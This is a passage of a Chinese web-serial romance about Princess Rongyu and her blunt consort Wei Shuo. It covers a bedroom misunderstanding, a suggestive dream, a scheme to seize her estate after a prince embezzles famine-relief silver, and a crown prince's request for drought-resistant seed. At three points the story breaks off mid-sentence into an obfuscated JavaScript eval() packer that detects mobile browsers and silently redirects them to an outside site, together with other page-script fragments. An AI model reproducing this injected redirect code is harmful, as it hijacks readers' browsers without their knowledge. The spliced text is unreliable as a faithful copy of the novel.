同来的丰禾眼睛瞪得溜圆,她怎么不知道公主何时失眠了,又何时望着柴房发呆了?她家公主一个人独享主屋,明明每天都睡得香着呢。 她刚要说话,就被嘉穗狠狠踢了下,接着就看到嘉穗谄媚笑道:“驸马,时候不早了,奴婢们帮您将东西搬回主屋吧。” 她刚提起铺盖一角,就被尉朔重重按住:“我说了,不去!” 虽然心里有些异样,可一想起那女子将自己赶到柴房的嘴脸,他就不想这么不明不白地回去。 丰禾终于忍不住了,不顾嘉穗阻拦:“我们公主曾在普渡寺捡到过一只护身符,这几日收拾东西,正考虑是否要扔了。” 护身符!这不正是他丢失多日却一直找不到的那个吗? “它在哪。快将它还给我!”尉朔肉眼可见地急了。 丰禾得逞一笑:“那就看驸马的表现了,我们公主一向爱惜东西,会替您好好保管的。” 看他进退两难,嘉穗连忙福身道:“驸马,真的是公主遣奴婢们前来‘请’您过去,还特意嘱咐了一定要恭恭敬敬。” 说着,她凑近两步:“公主特意沐浴熏香,还换了身新做的寝衣,现下就在屋里等着您呢。” 沐浴熏香?还换了身新的寝衣?睡个觉而已,就属她矫情。 不过如今被那女子抓住了命脉,为了寄托着无数族人祝福的护身符,他只能暂且低头。 * 正房中,容与正揽镜自顾。 镜中的人儿一双桃花眼水光潋滟,唇不点而朱,天生带着一点似笑似嗔的弧度,教人看了便心头微动。 此时美人梳洗已罢,一头乌黑的长发如瀑布一般散落在纤细却不失饱满的肩头,更衬得肤白胜雪。一身柔软的绸缎寝裙完美地贴合在凹凸有致的身躯上,令人窥之不免心热。 容与看着镜中大片的白皙肌肤,犹豫了一瞬,还是扯过衣架上的外衣披上。 这新制的寝裙美则美矣,只是这布料……也太少了些,领子低到胸口,两只白嫩的胳膊毫无遮挡,连她自己看了都臊得慌。 刚披上外衣,门口便传来“咯吱”一声,容与转头看去,是意料之中的身影。 她咬唇垂眸,看着地上那颀长的影子一点点靠近,她的心跳也一点点加速。 “你……” “你……” 一片静谧过后,两人同时开口。 容与抿唇:“你……你先说吧。” 虽然是她主动将人唤来的,但毕竟也是第一次,想到接下来要发生何事,她还是有些手足无措。 “好,那直接开始吧。”尉朔好像在说今晚吃什么一样随意。 容与惊得抬眸:“开始?这就……开始了?” 竟然这么直接吗,就不再说点什么? 尉朔有些不耐烦:“时辰已经不早了,你不累我都累了。” 容与心里着急,累了?这可不行,她记得嬷嬷讲过,这事主要指望着男人出力呢。 她连忙乖乖坐好,低头间浑身不自觉地绷紧。 下一刻,只听一声狂放不羁的吹气声,烛光一晃,紧接着泯于黑夜。 眼前的一切都消失了,静谧的黑暗中只有她心脏狂跳的声响,一想到凭尉朔的耳力大概已经听得分明,她就更加羞赧。 只能没话找话,试图打破尴尬:“你喜欢摸黑的?” 尉朔挑眉,这是什么问题,难道谁家睡觉是亮着光的。 看容与仍坐在床边不动,他思索片刻,沉声问道:“你渴了?” “我……”未等容与回答,他已经两步跨到桌边,倒了一盏茶塞到容与手中。 虽然不渴,可他都端来了,那就喝了吧,容与一仰头,一盏茶下肚……嘶,好凉。 不过此时也不是纠结这个的时候,她羞怯地抬头觑了男人一眼,看他仍站在那里不动,还是忍不住扭捏开口:“还不开始吗?” “不都做完了吗,这还不够?”尉朔皱眉。 做完了?容与茫然睁大双眼,她连衣裳都还未脱呢,就完了? 尉朔更耐不住了,他已经端茶倒水、当牛做马了,这女子若还不知见好就收,可别怪他不顺着了。 容与正疑惑间,男子的声音继续响起:“你让我来给你侍寝,不就是伺候你睡觉吗,我给你熄了灯、倒了水,这还不够吗,难不成还要我帮你脱了衣裳,再把你抱到床上,一直到将你哄睡着?” 这话听得容与目怔口呆,片刻后,她再也忍不住笑出声:“你竟然觉得……侍寝是这个意思?” “不然呢?”尉朔莫名其妙。 侍寝侍寝,不就是侍候她就寝吗,虽然很奇怪这些杂活婢女们都能做,为何偏偏要使唤他来,但是他还是依照吩咐做了,难道这也不对? 容与一时无言以对,她憋了良久才从牙缝中挤出几字:“侍寝的意思是……陪……陪本宫睡觉。” “陪你睡觉?”尉朔毫不掩饰嘲讽的笑意,“呵,没想到公主都这么大的人了还要人陪着睡?在我们察泰,三岁小孩若要人陪都要遭笑话的,哈哈哈哈。” “你是不是听不懂人话?”容与的脸蛋又红又青。 “听得懂,听得懂,不就是陪你睡觉吗。” 就在容与终于如释重负时,只见那男人一个翻身躺上对面的卧榻。 “我就在这陪着你睡,给你侍寝,这总行了吧。” 他双手环胸,翘着腿大剌剌躺在那,大有一副他已经退让到底,容与可不要不识好歹的架势。 所以这莽夫理解的陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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更何况这是她的寝屋,她在自己的地盘上穿什么还要尉朔来管吗,就算是在外面,她想穿什么尉朔也管不着。 她不答尉朔的话,而是反过来质问道:“你怎么在这?” “是你叫我来侍寝的,眼下不是正该伺候你起床吗。”晚上伺候她睡下,早上伺候她起床,这叫做事有始有终,看她还有什么可挑剔的。 也许是嫌弃容与事儿多,尉朔的语气算不上好。 这态度也将容与的反心激了起来:“行,那本宫就等着你伺候!” “你先坐下。” 容与偏要和他对着干:“就不坐。” 下一刻,一只坚实的臂膀就横在了她的腰间,还未等她挣扎,整个人就被重重扔在床上。 “哎呦!”她用尽力气想要从棉花似的被褥间爬起身,刚刚直起腰,便感觉脚踝被铁钳一样的东西用力钳制住,只不过这东西是温热的。 还未等她弄清尉朔究竟要做什么,脚腕便被一股大力一扯,整个人失去平衡,再次仰面倒在被褥之间。 “你做什么?”她拼命想要抽回双脚,只可惜她两腿的力气加起来都根本比不上尉朔一只手腕,男人只需轻轻一握,她就再也动弹不得。 “别动!”容与的注意全都在被控制住的脚上,并未注意男人已变得沙哑的的声音。 粗糙的大手从她细嫩的脚背划过,一直划到最为敏感的脚心,粗粝的触感激得容与忍不住颤栗,可那双手恍若不觉,仍不住作乱。 她的余光瞥见男人额上已经沁出一圈细密的汗珠,好像做着什么极为费心费力的活计似的。 15. 偷睡 紧接着,她感觉脚上一暖,禁锢随之消失。 低头一看,这男人竟亲手为她穿上了罗袜。 虽然穿的吧,可谓是乱七八糟,不过对于尉朔来说已经很不错了。 看他直勾勾盯着自己身上的寝裙,容与连忙双手抱胸:“不用了,衣裳我可以自己换。” 听她此言,男人抿唇点了点头,面无表情的模样也不知是如释重负抑或是怅然若失。 可容与等了许久,这男人还是像木桩子一样杵着不动。 她不悦:“怎么,驸马还想偷窥本宫更衣不成?” 尉朔嗤笑:“呵,你以为自己是金子呀,谁都稀罕多看一眼,我只是想要回我的护身符。” 听到这话,容与冷笑,昨夜那乱七八糟的一通她还没发作呢,还想将东西要回去,没门! 她撇撇嘴:“那得看本宫心情了。” 尉朔气不打一处来:“你这人怎么说话不算话!” 枉费他之前还为这女人被冤枉之事叫屈,看来她与其他晟国贵族也没什么两样,都是一样的阴险狡诈。 “算我看错你了!”他气哼哼转身,去院子里挥了两套棒法,可即使如此,胸口也仍旧堵得慌,好像有股抒发不出的戾气。 “砰!”,他一拳砸在一根碗口粗的木桩上,木桩“咔嚓”一声折断成两段,而那只坚硬的拳头也渗出几滴鲜红。 可即便如此,尉朔憋着的那口气仍然久久舒散不开,可他不是恨那个不守信的女人,而是恨自己。 他明明应该猜到褚容与的谋算,她分明就是想利用他、羞辱他,可他依然傻傻跳进这个拙劣的圈套,连眼睛都不眨一下。 甚至方才为她穿上罗袜时,他本可以一下穿好的,可不知为何,他就是鬼使神差地抚上了那双比羊脂玉还滑腻的双足,还用“失误”自欺欺人。 他承认自己的举动有私心,可作为察泰的少主,他最不该有的便是私心,他不能原谅自己哪怕一瞬间的失控。 他又用那只流血的手狠狠锤了下墙,想用疼痛惩罚自己。 可即使如此,指尖浮过的仍是那双玉足滑腻的触感。 * 当容与面色扭曲地将那夜之事讲给前来做客的李瑾姝时,后者笑得前仰后合,半柱香的时间方才堪堪止住。 “这尉驸马当真如此耿直?” 容与撇嘴:“我骗你作甚,这个尉朔真是个榆木脑袋。” 李瑾姝却摇摇头:“我倒觉得,他不会是故意的吧。” 在容与不解的眼神中,她狐疑道:“他与你同岁,甚至还大你两个月,放在咱们大晟妻妾成群的都不在少数,更何况察泰民风开放,男子赤膊,女子短裳都是常有的,他难道真的对男女之事一无所知?我看未必。” “你是说?” 瑾姝颔首:“对,他肯定是不喜于你,所以故意敷衍。” 两个人正窃窃私语间,门被一阵大力推开,发出“砰”一声。 二人抬眼,只见一个高大的身影走进来。 容与连忙捻起帕子,欲盖弥彰地捂住那张片刻前还在叽叽喳喳个不停的小嘴,就差直接解释,她可没在背后讲过尉朔的坏话。 谁想尉朔连一个眼神都未向两位姑娘那边偏移,他目不斜视地几步跨到卧榻前,取了遗落在卧榻边的短匕,行云流水地插进靴筒后便快步离开。 容与也懒得管他,只继续和瑾姝谈天:“还未问,姑母一向管你管得紧,今日怎么有空到我这来了?” 话问出一会儿都没听见身侧之人回应,扭头看去,却发现瑾姝正愣愣地望着门口的方向出神。 “瑾姝,瑾姝。”容与又连唤了两声,瑾姝这才恍然回神。 她有些不自在地笑了笑:“哦,我母亲念我不久就要出嫁了,才趁着最后做姑娘的时日,放我尽情松快几日。” 说完,她又暗暗瞟向门口:“对了,方才进来的就是尉朔?” 容与嫌弃撇嘴:“自然,除了他,还有哪个男子能随意进我的屋子?你别介意,他向来都是这副样子,讨厌的紧。” 瑾姝并未回应她的抱怨,只是自顾自地出神:“没想到他长得这副样子。” “额,你说什么?”她声音太小,容与并未听清。 瑾姝这才反应过来,眼睛不自然地眨了眨:“哦,我是说尉少主的模样与传闻中不甚相符。” “你都说了是传闻,那都是长舌者造谣生事罢了,哪里可信。” 瑾姝深以为然:“也是,就说你三年前的事情,可不就是明懿公主造谣吗。” 说到这里,她又突然想起什么,转而问道:“诶,对了,听说前几日她又派了人去你别院闹事,那人是被你捉住了吗?” “捉了。”容与随口答。 “啊?” 她这突如其来的反应倒是将容与惊了一跳:“你这么大惊小怪做什么?” “额,我就是听说那刺客穷凶极恶,担心你受伤。” 容与拍着她的手背安抚道:“那倒没有,那人是尉朔帮我捉住的,可惜死了。” 这世上若说有谁还真正关心自己,大概就只有瑾姝了,为了不让唯一的好姐妹担心,她从来都是报喜不报忧。 瑾姝叹了口气,替她不平:“哎,那真是可惜了,不然就能戳穿明懿那副伪善的嘴脸了。” 容与释然一笑:“无妨,这么多年早就习惯了,谣言罢了,若是我不在意,他们又能奈我何。” 瑾姝心疼地握紧她的手:“不说这些了,咱们去你的别院里小住几日吧,就当散散心了。” 容与有些诧异:“你不是一向嫌弃我那别院简陋吗,怎么今日突然想去了?” 瑾姝撒娇似的摇晃着容与的手臂:“容容,就陪我去小住几日嘛。” “好,都依你。” * 当晚尉朔回房时,却发现应该等着自己“侍寝”的女人不见了踪影,房中只剩自己孤零零一个人。 也挺好,终于不用给人当“丫鬟”了。 他环顾了一下空荡荡的房间后就习惯性地往浴房走,可刚走到门口时却突然止住脚步,他突然意识到,今日那女人不在,没人再逼着他沐浴了。 他不禁好笑,被那女人耳提面命了几日,自己竟也变得这么矫情了,这几日沐浴的次数都赶上从前半年的了。 这样想着,他收回已经踏进浴房的半只脚,顺手将上身脱了个精光,将本就不算干净的衣裳随手往地上一丢,就往自己的小卧榻走去。 刚坐上那张逼仄的卧榻,他却突然看着对面空空的大床出了神。 往日蜷缩在这一方小小的卧榻上本不是因为喜欢这里,而是因为宽敞的大床被那女人一人独占了,害得他几日下来腰酸背痛,可如今那女人不在…… 这样想着,他鬼使神差地向对面的梨花木雕花大床走去,直到只剩咫尺之遥时才堪堪停住脚步。 若今夜真的睡了这张床,恐怕等那女子回来,发现床铺已经被他这样一个邋遢的脏人玷污了,一定会气得破口大骂吧。 可不知为何,一想起那女人生气的样子,尉朔心里反而有种隐隐的兴奋。 谁让她扣下护身符,谁让她使唤自己,谁让她不守信用,这一切都是对她的报复。 此时此刻,那张散发着幽香的大床好像在对他说,来嘛,反正主人又不在,没人会知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979507|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 是呀,只要他不说,不会有人知道的。尉朔再也抵挡不了报复的快感,直接仰面躺上了那张宽敞的梨花木雕花大床。 周身如被棉花团团包裹的感觉让他不禁咂舌,这床可真软,也就是那女人这样娇气的人儿才喜欢睡这样软的床。 他又皱了皱鼻子,这是哪里来的味道,好香,又有些熟悉。他天生不喜香气,可这香味并不让他觉得讨厌,反而有多吸两口的冲动。 暖香、暖衾、暖榻……未过多久,沉浸其中的人就昏昏沉沉坠入梦乡。 …… “夫君,夫君……” 一个熟悉的软糯女声在耳边响起,尉朔迷糊睁眼,只见唤他的正是本该留宿别院的容与,此刻她一身娇俏的粉裙,举手投足都比平日里温柔许多。 被抓包在床,尉朔很是窘迫:“你不是要去别院小住几日吗,怎么这么快就回来了?” “我想你了,没有你陪着,我自己睡不着。” 看她直勾勾地盯着自己看,尉朔有些心虚:“你是不是怪我睡脏了你的床?” 谁知容与伸出一双柔嫩的小手,将他正要撑起的身子重新按回暖乎乎的被窝:“夫君这是说的哪里话,你我夫妻本是一体,哪有什么你我之分,再说……” 她红着一张小脸儿,声音一字比一字小,直到细若蚊呐:“再说……我巴不得你陪我一起睡在这里呢。” 呼吸蓦地一滞,一颗心好像干燥的枯枝,被这寥寥几句话霍然点燃,由里而外无一处不熨帖滚烫。 还未等他想出应如何反应,那女子已经掀起衾被一角,熟练地钻了进去。 她不知何时已经脱了鞋袜,一双玉足白得晃眼。 这一瞬,他又想起不久前的那个清晨,这双脚就乖巧地握在他掌心,他想要尽快用罗袜将其遮掩住,可却越急越乱,竟不慎蹭到那绸缎似的皮肤。 又细、又软、又滑……甚至还有淡淡的香气。 “嘶!”出神间,那双白嫩的脚丫已经灵巧地钻进被窝,捣乱似的紧紧贴在他滚烫的腰腹上,冰得他倒吸一口凉气。 “怎么这样冷?” 容与不答,只拿一双桃花眼望着他:“夫君给我暖暖?” “好。”男子嗓子有些哑。 她的脚和她的人一样不老实,一直在尉朔的腰腹间乱动,扰得他身上的火气愈发昂扬。 “夫君,你身上怎么比方才还要暖?” 尉朔不应,只哑声呵斥:“别乱动!” “哦。”这女子虽嘴上答应着,可一双脚却丝毫不停下作乱。 感受到腰腹间不停游弋的酥痒,尉朔心中愈发激起几分邪气。 他突然将手伸进被窝里,一把擒住那对作乱的玉足,用力向小腹下压去。 …… “主子,别睡了,快起来!” 晨光刺破天际的时候,辉山焦急的喊叫声骤然入耳。 尉朔被猛地惊醒,撑开沉重的眼皮,入目乃是绯红的床帐,而怀中除了柔软的被褥外再无他物。 顷刻间,令人羞赧的记忆如潮水般涌入,许久后他才意识到,自己竟做梦了!还是那种……难以启齿的梦。 他又失控了!又是因为那个女子。 察觉到两腿间一片冰凉黏腻,尉朔连忙暗暗将被子往上拉了拉。 “什么事?”他面带不悦。 辉山语无伦次:“主子,我听说别院那边……那边……” “有什么话就说,别像个娘们儿一样。” 心里本就存着气泄不出去,这会儿对上辉山更是没好气。 “主子,我听说公主招了好几个小白脸去别院!” 16. 出事 辉山面色纠结地蹲在一边看着尉朔。 他真是越来越不懂他家主子了,公主都找别的男人了,这也就罢了,竟然还找了不止一个!这不就是摆明了说他家主子不行吗,头上绿油油不说,面子也没处搁呀。 至此危急存亡之际,他家主子难道不该直接冲去别院吗? 可实际上呢,他家主子竟然仍蹲在浣洗房,不紧不慢地亲手洗被子! “主子,这公主府里有那么多浆洗婆子,再不济小的来洗,你赶快去找公主吧。” 尉朔不急,辉山都替他急,现在可不是爱干净的时候,从前这么糙的一个人,怎么偏偏在这个危急关头转了性子。 “别废话,等我洗完。” 尉朔愈发郁闷,难道他不急吗,可是……难以启齿呀。 他一边加快手上搓洗的动作,一边狐疑问道:“你怎么知晓公主招了小白脸进别院?” 以他对褚容与的了解,这女子虽算不上什么好人,但应当对男色也不怎么上心。 辉山更急了:“别院看门的小厮是前些时日从公主府调过去的,恰好与我相熟,是他告诉我的。” 听完这话,尉朔胸口更堵了,他不由加快手上的速度,三下五除二将被褥揉洗了一遍后扔给辉山:“晾了。” 走出两步后,他突然想起什么,又转回来低声吩咐周围的浆洗婆子们:“晾干后立刻铺回主屋床上,切记要叠得平平整整,勿让任何人知晓这被子洗过。” 紧接着他从马厩中牵了匹马,向别院的方向疾驰而去。 * 此时的别院中。 李瑾姝搬了把小凳子坐在屋檐下,手中端着嘉穗刚刚递来的茶水,远远看着在地里忙活的容与。 “容容,你都在那忙活一上午了,也不陪我说说话,我都要闷死了。” 容与宠溺地抬头,朝她笑了笑:“谁叫你非要来这别院呢,要不你到这边的田垄上坐着,我一般干活一边陪你说话。” 瑾姝连忙摆手:“算了吧,我可不想沾的一脚泥。” 两人说笑间,门口的小厮来报:“禀公主,长公主府来人了,长公主有令,瑾姝小姐出来闲散了两天,也该回去了。” 瑾姝本还笑着的脸立刻耷拉下来。 “这么急?”容与听到也很是诧异。 瑾姝垂着头解释:“这段时日母亲正为我议亲,估计过不了多久就要出嫁了,答应我出来玩这两日已经是不易。” 她只比容与小了半岁,容与在大晟女子中已算晚婚,她自然也不遑多让,只是她晚婚并非因为太过挑剔,而是因为父丧。 广平侯三年前病逝,瑾姝也因此守孝三年,婚事便耽搁下来,如今守丧将毕,自然也要早做打算。 “别愁了,凭你的家世才干,大晟朝的青年才俊还不是任由你挑,你看我嫁给尉朔这样的莽夫,不也活得好好的吗?” “哎,其实尉朔那种也算不错了。” 容与未听清:“你说什么?” 瑾姝摇摇头:“没什么,我先回去了,你多保重。” 瑾姝走后,容与才从田里缓缓站起身子,不知突然想起什么,面上肉眼可见得凝重起来。 她接过嘉穗递来的帕子擦了擦手上的泥渍,转身问道:“昨夜来的那两人可安顿好了?” 嘉穗重重点头:“别院空房不多,公主嘱咐了不能叫任何人知晓,奴婢便将他们暂且安置在后门旁的角房了。” “好,我现在去见见他们,切莫声张。” 嘉穗压低声音:“公主放心,昨日他们进来时并无几人碰到,即使看到了,我也以新招的农人为名搪塞过去了。” * 推开偏僻角房简陋的柴扉后,屋里的两个年轻男子立刻起身行礼。 容与上下打量一番,只见二人皆是身形纤细颀长,虽舟车劳顿多日,周身皆是掩饰不住的疲惫,可依然不影响其面容俊秀,举手投足间自成一派风流。 她点点头,不亏是哥哥身边的人,无论能力才干如何,气质相貌绝对是无需置疑的。 “你们二人是荣王派来的?”容与开口问道。 身着白衣的男子恭敬答道:“正是,在下二人乃荣王殿下的幕僚,特受王爷所托,来向公主求助。” 容与也无心寒暄,索性开门见山:“哥哥那边究竟出了什么事?” 上次母妃召她入宫时确实曾提起过哥哥在庆祥府的差事恐怕不顺,可当时并未细说便不欢而散,也没有细问究竟是出了何事。 一母同胞,她深知褚炆卓那个人有多好面子,他会主动向自己求助,那必然已经到了极为严重的地步。 “回禀公主,其实也并非什么大事,就是王爷将朝廷拨下的赈灾银挪用了些,如今这亏空怕是一时半会难以填上。” 容与立刻发觉到他话中的关窍:“挪用了些?究竟是多少,拿去做什么用了?” 白衣男子果然顿住了,良久后,才难言道:“挪用了大概……有九成吧,至于用途,王爷本是想放印子钱,多收些利,也好多得些赈灾银,只是……” “只是什么,你倒是直说呀!”容与耐心即将耗尽。 不知是否是因为与尉朔相处得久了,明明大晟的郎君都喜拐弯抹角地说话,可容与如今听着却只觉麻烦,甚至有些想念起尉朔的直言直语。 男子婉言道:“您也知晓,王爷心思一向纯善,没有那些个龌龊心思,因此一时不察,竟……竟遇上骗子,连本带利全被卷了个精光。” “糊涂呀!”容与恨铁不成钢。 可事已至此,责怪是最无用处的,当务之急还是想想该怎么解决。 容与连忙问道:“如今庆祥府的情况如何了?” “去岁一整年大旱,粮食种不出,如今又没了灾银买粮,几乎到了……饿殍满地的程度。” 容与面色更沉,他说是饿殍遍地,那真实情况只会比这更严重。 更有一点他们未意识到的,那便是无粮便也无种,今年春耕时节已至,一年之计在于春,最佳的播种时机转瞬即逝,可庆祥府根本无种可播。 如此循环往复,之后的情况只会愈来愈糟糕。 更遑论庆祥府与北乌相距不远,若饥荒扩散,北境不稳,则外敌将虎视眈眈矣。 “哥哥让你们来找本宫,可曾吩咐了要如何帮他?” 男子早就等着这句了,她话音未落便抢先答道:“王爷说想向公主借些银子,也好尽力填上这亏空。” “借银子?他说的倒是轻松,本宫哪里有这么多银子借他。” 容与气得发笑,朝廷拨下的赈灾银可是有十万余两之巨,而她的嫁妆多为器物,即使全都变卖了,满打满算也不过三万余两,又哪里补得上如此大的亏空。 她眼波一转:“母妃呢,她难道不管哥哥?还有张家,哥哥可曾向舅父他们去信了?” “娘娘月例银子一个月也只有不到三十两,张家如今没落了,更是一点银子都拿不出,就连娘娘的银子也有不少都贴补给了张家,如今也确实拿不出什么了。” 二人一急,将张贵妃和张家的底细全都透露出来,而这些是容与一直被蒙在鼓里的。 这一刻她终于恍然大悟,上次母妃为何急急将她召去想将她改嫁给北乌了,原来是哥哥那边缺银子呀。虽不知母妃和北乌达成了什么交易,但这样看来,她还是值些银子的。 看容与并无半分松动,其中一男子沉下声音,带着不容拒绝的诱导:“公主手头虽然没有现银,但还有这处别院呀,若是将这别院变卖出去,亏空的银子便能补上大半。” 容与挑眉,说了这么久,他们终于将狐狸尾巴露出来了,原来是在打这座别院的主意。 “你可真会说笑,本宫这别院中是怎么一番情形你们也看见了,值些银子的早就变卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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另一人也出言催促:“庆祥府之事应当如何处理,荣王殿下自有筹谋,公主只需依照王爷吩咐献出银两便是,其他便不劳您费心了。” 说着,他们甚至上前两步,一左一右将容与夹在中间。 容与大喝一声:“放肆,本宫若是不给,你们还想强抢地契不成?” 虽然面上气势十足,可她心底其实是虚的,此处地处偏僻,周围根本没有来往的丫鬟小厮,这两个男子虽文弱不堪,但想要联手对付她还是绰绰有余的。 “公主若是不愿将地契交出来,可莫怪我们王爷不顾兄妹情分了!” 二人对视一眼,步步逼近。 * 而在别院门外,两匹骏马嘶鸣着高扬其前蹄。 尉朔翻身下马,还未等守门的小厮盘问,便早早举起一直贴身藏于怀中的小木牌。 小厮认出木牌便不再阻拦,可下一刻却被尉朔一把揪住领子,男子身量极高,几乎将他凌空提起。 “公主在哪?” “公主吩咐过不许透露。” 尉朔手上用力:“说不说?” “在……在后门旁的角房里。”此人压迫感太强,他不敢不答,更何况他身为公主的驸马,又拿着公主的木牌,那必然算是深受公主信任的自己人了,告诉他应该也不算犯错吧。 后面的辉山气喘吁吁小跑着跟了过来,弯腰扶起被自家主子丢在地上的小厮,低声问道:“你给我说的那两个小白脸在哪呢?” “也……也在角房。” 已经走出十步之遥的尉朔脚步一顿,等辉山抬头追上去时,人已跑得没了影子。 “主子,冷静!” 等辉山好不容易追上去时,只见自家主子正面色晦暗地立在角房门外,一双拳头紧紧握着,暴起的青筋清晰可见。 不等辉山拉住他,便只听得“砰”一声巨响。 房门被尉朔一脚踹开! 17. 相助 阴暗的角房中突然刺进一束光亮! 容与回眸,正撞进一双沉静中暗带怒意的剑眸。 紧接着便是尉朔冷厉的声音:“好一番官帽堂皇之语,我倒不知大晟的青年才俊便是如此不要脸皮,花着女子的银钱,还要嫌弃着人家。” 他站在门外良久,早就将屋内的对话听得一清二楚。 虽早已知晓容与虐杀流民之事纯属污蔑,但尉朔也一直以为她与那些晟国贵族无异,只是将百姓性命当作青云梯而已,可方才听到的一切令他骤然改观。 一个娇弱的女子,其心胸眼界却比那些满口仁义道德的“正人君子”强上百倍不止。 “你怎么来了?”容与心头一颤。 尉朔看向她,伸出一只宽厚的大掌:“听闻公主的别院进了两只不识相的硕鼠,特来替公主清理门户。” 容与会意,连忙将小手放了上去,尉朔用力,一把将她从两个男子的包围中拉出,将她严严实实地挡在身后。 “多谢你了,”容与踮起脚尖,接着衣袖的遮掩压低声音道:“还有,那个词不叫官帽堂皇,是冠冕堂皇。” “你们晟国人说话也太复杂了,什么官帽还是冠冕我记不清楚,可我却知道,他们只是为了官帽而已。” 他故意拔高声音,丝毫不避讳眼前的二人。 容与看向他的眼神多了一丝复杂,她一直以为尉朔只是个头脑简单的莽夫,可这次他竟一眼看破了眼前两人的心思。 他说的没错,他们一心只想着平息事端,将丑事遮掩过去,又何曾想过事端背后都是活生生的人命呀! 荣王麾下的两名男子对视一眼,不约而同浮出一丝恨意,眼前这个不知名的高大男子扰乱了他们的谋划也就罢了,如今竟还敢出言嘲讽。 “你算是个什么东西,我们与公主说话,轮得到你插嘴吗?” 二人脚下不由连连后退,但面上仍是鄙夷。 听到这话,容与不顾尉朔阻拦,从他身后探出半个身子:“此乃本公主的驸马,察泰国的少主,你们胆敢不敬驸马!” “我当是谁呢,原来是王爷说的那个破落质子……” 容与厉声喝道:“住口!” 尉朔倒是满不在意,他低头对容与道:“公主不必和他们废话,若他们不愿自己走,我也不介意亲手将他们扔出去。” 紧接着他将容与往身后一护,一边朝两个男子逼近,一边冷笑:“呵,就这两个瘦鸡崽子,我一手一个。” “你……”二人脸色铁青,一时竟分不清究竟是气得还是吓得。 在尉朔极具压迫感的逼迫下,二人还是灰溜溜向门外走去,嘴里还小声嘟囔:“古人云,识时务者方为俊杰,今日我们二人不与你一个莽夫一般见识。” * 处理完二人后,尉朔并没有离开的意思,而是自顾自坐了下来,将自己的疑虑一一道来。 “依我看,他们口中的那个买主也并不是什么人傻钱多的蠢货,他们既甘愿花这么大的价钱,那么能从这别院中得到的一定比五万两银子更多。” 容与看向他的眼神中多了几分赞赏,他又一次和自己想到一处去了。 正在她苦思冥想那异族人究竟想从别院得到什么东西时,突然听到尉朔的一声感叹。 “别院中的这些好东西,若我们察泰能得到,那我们的族人们就都能吃上饱饭了。” 察泰缺粮的最大症结就在于一年中数月的严寒,以及近年来频发的干旱。 可别院中有不少珍奇的法子能够解决这些问题,若是能将这些全都学来带回察泰,那族人们必将安居乐业,再无需忍受饥饿之苦。 他这话倒是提醒了容与,察泰、别院、粮食……她刹那间豁然开朗。 与察泰相似,北乌也是常年缺粮,而北乌人凶残暴戾、剽掠成性,其解决饥荒的方式并非察泰人那样忍耐或求援,而是在大晟的北境烧杀抢掠,妄图将大晟的大好河山据为己有。 可是北乌的草地居多,而她别院里研制出的粮种也没有适合在草原播种的呀,即使北乌人买去也无甚用处。 大概是看出容与的困惑,尉朔开口:“北乌怎么想的我倒是不清楚,但是塞音那厮我倒是打过几次交道,此人甚是阴险,如果我得了什么他没有的宝贝,那他一定会抢,若是抢不到,那他就宁愿毁了。” 尉朔话虽糙,可理却不糙,容与懂了,原来北乌的目的是得不到就毁掉,他们没有,大晟也别想得到。 五谷者,万民之命,国之重宝。若北乌计策得逞,则民不聊生,国将不国。 想通之后,容与一解方才的忧心忡忡,也有心情与尉朔闲谈:“对了,你今日怎么想起到别院来?” 尉朔不自在地摸了摸鼻子:“啊……我,我随便来看看。” 哼,他可绝不会承认自己是来“捉奸”的。 “真的?”经过这几日的相处,容与发现尉朔此人不太会说谎,只要说了假话,耳朵后面就会红成一片,只不过他身量太高,不仔细瞧的话发现不了。 看尉朔满脸涨红,一双大手也不由自主地搓着,好像不知该如何开口,容与愈发起了刨根问底的心思。 刚要继续追问下去,便听到门外的通禀声:“禀公主,太子殿下来了,如今就等在正厅中。” 褚炆宗来了?容与稍缓下的眉头又蹙了起来,二人虽面上融洽,可私下鲜少走动,如今他亲自前来究竟所为何事。 况且褚炆卓的人前脚刚走,他后脚便到了,若是说毫无关联她自己都不信。 * 别院正厅中。 “清阳见过太子哥哥。” 褚炆宗客气抬手:“你我乃至亲兄妹,不必多礼。” 容与也不多寒暄,直接问道:“不知太子哥哥大驾光临,所为何事?” “清阳妹妹聪慧伶俐,大概也猜到了,庆祥府。” 容与装作不解:“庆祥府赈灾之事父皇已经交由荣王哥哥负责了,咱们就无需插手了吧。” 褚炆宗端坐着微微摇头:“二弟的人刚从别院离开未过多久吧,庆祥府如今是何情况清阳妹妹想必已经清楚了,难不成还天真地以为荣王能将这烂摊子收拾妥当吗?” 容与深深看了他一眼,他能对庆祥府的状况了如指掌,容与其实并不意外,若非如此,他又怎会稳坐储君之位十载而毫无威胁呢。 “那太子哥哥的意思是?” “为兄三日后将启程前往庆祥府,赈灾粮已经筹集妥当,只是有一事还要请清阳妹妹相助。” “太子哥哥言重了,我只是个深宫女子,不知有何能帮上的。” “清阳妹妹不必自谦,为兄知晓妹妹已经制出一批旱稻粮种,望妹妹能将其交给我,也好早日在庆祥府种下,方不负春耕之机。” 只有救济粮尚且不够,若是没有适合庆祥府干旱气候的种子,明年一样还会有饥荒的危险。 容与眸底一闪,褚炆宗所说,正是她方才在角房中想对那两个男子所说的法子,可惜他们没有给她机会。 只不过这两张底牌交给太子还是交给荣王可是天差地别,谁拿到,功劳便是谁的。 